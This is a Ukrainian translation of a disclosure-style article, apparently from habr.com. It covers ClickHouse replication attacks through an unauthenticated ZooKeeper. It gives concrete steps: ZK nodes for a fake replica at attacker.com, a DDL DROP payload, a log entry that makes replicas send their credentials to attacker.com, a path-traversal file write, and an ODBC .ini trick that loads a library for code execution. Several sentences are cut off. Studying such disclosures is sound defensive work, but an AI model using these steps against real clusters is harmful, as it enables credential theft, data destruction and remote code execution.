У цій статті буде історія про одну дуже характерну вразливість у протоколі реплікації в ClickHouse, а також буде показано, як можна розширити площину атаки.
ClickHouse - це база даних для зберігання великих обсягів даних, найчастіше використовується більше однієї репліки. Кластеризація та реплікація в ClickHouse будуються поверх
Установка ZK за замовчуванням не вимагає аутентифікації, тому тисячі ZK серверів, що використовуються для конфігурації Kafka, Hadoop, ClickHouse доступні публічно.
Для скорочення площини атаки ви завжди повинні налаштовувати аутентифікацію та авторизацію під час встановлення ZooKeeper
Є, звичайно, кілька 0day на основі Java десеріалізації, але уявіть собі, що зловмисник може читати і писати в ZooKeeper, що використовується для реплікації ClickHouse.
При налаштуванні в кластерному режимі ClickHouse підтримує розподілені запити /clickhouse/task_queue/ddl
.
Наприклад, ви створюєте вузол /clickhouse/task_queue/ddl/query-0001
із вмістом:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
а після цього на серверах кластера host1 та host2 таблиця test буде видалена. DDL також підтримує запуск запитів CREATE/ALTER/DROP.
Звучить страшно? Але де атакуючий зможе отримати адреси серверів?
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
будуть створені вузли стовпців и метадані.
вміст /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Чи можна злити дані із цього кластера? Так, якщо порт реплікації (TCP/9009
) на сервері chXX-address
не буде закрито firewall і не буде настроєно автентифікацію для реплікації. Як оминути автентифікацію?
Атакуючий може створити нову репліку в ZK, просто копіюючи вміст з /clickhouse/tables/01-01/foobar/replicas/chXX
та змінюючи значення host
.
вміст /clickhouse/tables/01–01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Потім треба сказати решті реплік, що на сервері атакуючого є новий блок даних, який їм треба забрати — створюється вузол у ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX
(XX монотонно зростаючий лічильник, який має бути більше, ніж останній у журналі подій):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
де source_replica - Ім'я репліки атакуючого, створеної на попередньому кроці, block_id - Ідентифікатор блоку даних, отримати - команда "get block" (а
Далі кожна репліка читає нову подію в журналі та йде на сервер, підконтрольний зловмиснику, для отримання блоку даних (протокол реплікації двійковий, працює поверх HTTP). Сервер attacker.com
отримуватиме запити:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
де XXX - і є дані аутентифікації реплікації. У деяких випадках це може бути обліковий запис з доступом до бази даних за основним протоколом ClickHouse та протоколом HTTP. Як ви бачили, площина атаки стає критично великою, тому що ZooKeeper, що використовується для реплікації, залишився без налаштованої автентифікації.
Давайте подивимося на функцію отримання блоку даних із репліки, вона написана з повною впевненістю, що всі репліки під правильним контролем і є довіра між ними.
код обробки реплікації
Функція читає список файлів, потім їх імена, розміри, вміст, після чого пише їх у файловій системі. Варто окремо описати, як зберігаються дані у файловій системі.
Є кілька підкаталогів у /var/lib/clickhouse
(каталог зберігання за замовчуванням із конфігураційного файлу):
прапори - каталог для запису
tmp - каталог зберігання тимчасових файлів;
user_files - операції з файлами у запитах обмежені цим каталогом (INTO OUTFILE та інші);
метадані - Файли sql з описами таблиць;
preprocessed_configs - Оброблені похідні конфігураційні файли з /etc/clickhouse-server
;
дані — власне каталог із самими даними, у разі для кожної бази просто створюється окремий підкаталог тут (наприклад /var/lib/clickhouse/data/default
).
Для кожної таблиці створюється підкаталог у каталозі з базою даних. Кожен стовпець – окремий файл залежно від
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
Репліка очікує на отримання файлів з такими ж іменами при обробці блоку даних і не перевіряє їх у будь-який спосіб.
Уважний читач, ймовірно, вже чув про небезпечну конкатенацію file_name у функції WriteBufferFromFile
. Так, це дозволяє атакуючому записати довільний контент у будь-який файл на ФС з правами користувача clickhouse
. Для цього репліка, підконтрольна атакуючому, повинна повернути наступну відповідь на запит (для простоти розуміння додано переноси рядків):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
а після конкатенації ../../../../../../../../../tmp/pwned
буде записаний файл /tmp/pwned із вмістом hellofromzookeeper.
Є кілька варіантів перетворення можливості запису файлів на віддалений запуск коду (RCE).
Зовнішні словники у RCE
У старих версіях каталог із налаштуваннями ClickHouse зберігався з правами користувача clickhouse за замовчуванням. Файли налаштувань є файлами XML, які сервіс читає під час запуску, а потім кешує в /var/lib/clickhouse/preprocessed_configs
. За змін вони перечитуються. За наявності доступу до /etc/clickhouse-server
атакуючий може створити власний root
.
ODBC у RCE
При встановленні пакета створюється користувач clickhouse
, при цьому не створюється його домашній каталог /nonexistent
. Однак при використанні зовнішніх словників або з інших причин адміністратори створюють каталог /nonexistent
і дають користувачеві clickhouse
доступ до запису до нього (ССЗБ! прим. перекладача).
ClickHouse підтримує odbc-bridge
так що тепер неможливо вказати шлях до драйвера з запиту. Але атакуючий може писати до домашнього каталогу, використовуючи вразливість, описану вище?
Давайте створимо файл ~/.odbc.ini
з таким вмістом:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
потім під час запуску SELECT * FROM odbc('DSN=lalala', 'test', 'test');
буде підвантажено бібліотеку test.so
та отримано RCE (дякую
Ці та інші уразливості були виправлені у версії ClickHouse 19.14.3. Бережіть свої ClickHouse та ZooKeepers!
Джерело: habr.com